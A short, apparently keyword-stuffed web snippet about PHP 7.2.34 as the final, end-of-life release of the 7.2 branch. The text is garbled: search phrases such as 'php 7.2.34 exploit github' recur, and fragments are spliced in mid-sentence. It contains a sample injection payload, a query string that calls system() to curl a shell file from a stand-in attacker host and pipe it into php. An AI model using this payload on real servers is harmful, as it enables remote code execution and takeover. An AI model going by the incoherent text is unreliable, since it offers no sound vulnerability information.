PHP 7.2.34 was the final security release for the PHP 7.2 branch, released on October 1, 2020. Because it is the last version, it is often the target for research on vulnerabilities that remain unpatched in that specific end-of-life (EOL) series. Critical Vulnerabilities and Exploits
As an example, let's consider a hypothetical vulnerability: php 7.2.34 exploit github
?q=system('curl -s http://evilcorp.xyz/shell.txt | php'); released on October 1
: Version 7.2.34 does not receive any official security updates from the PHP development team. Recommendation php 7.2.34 exploit github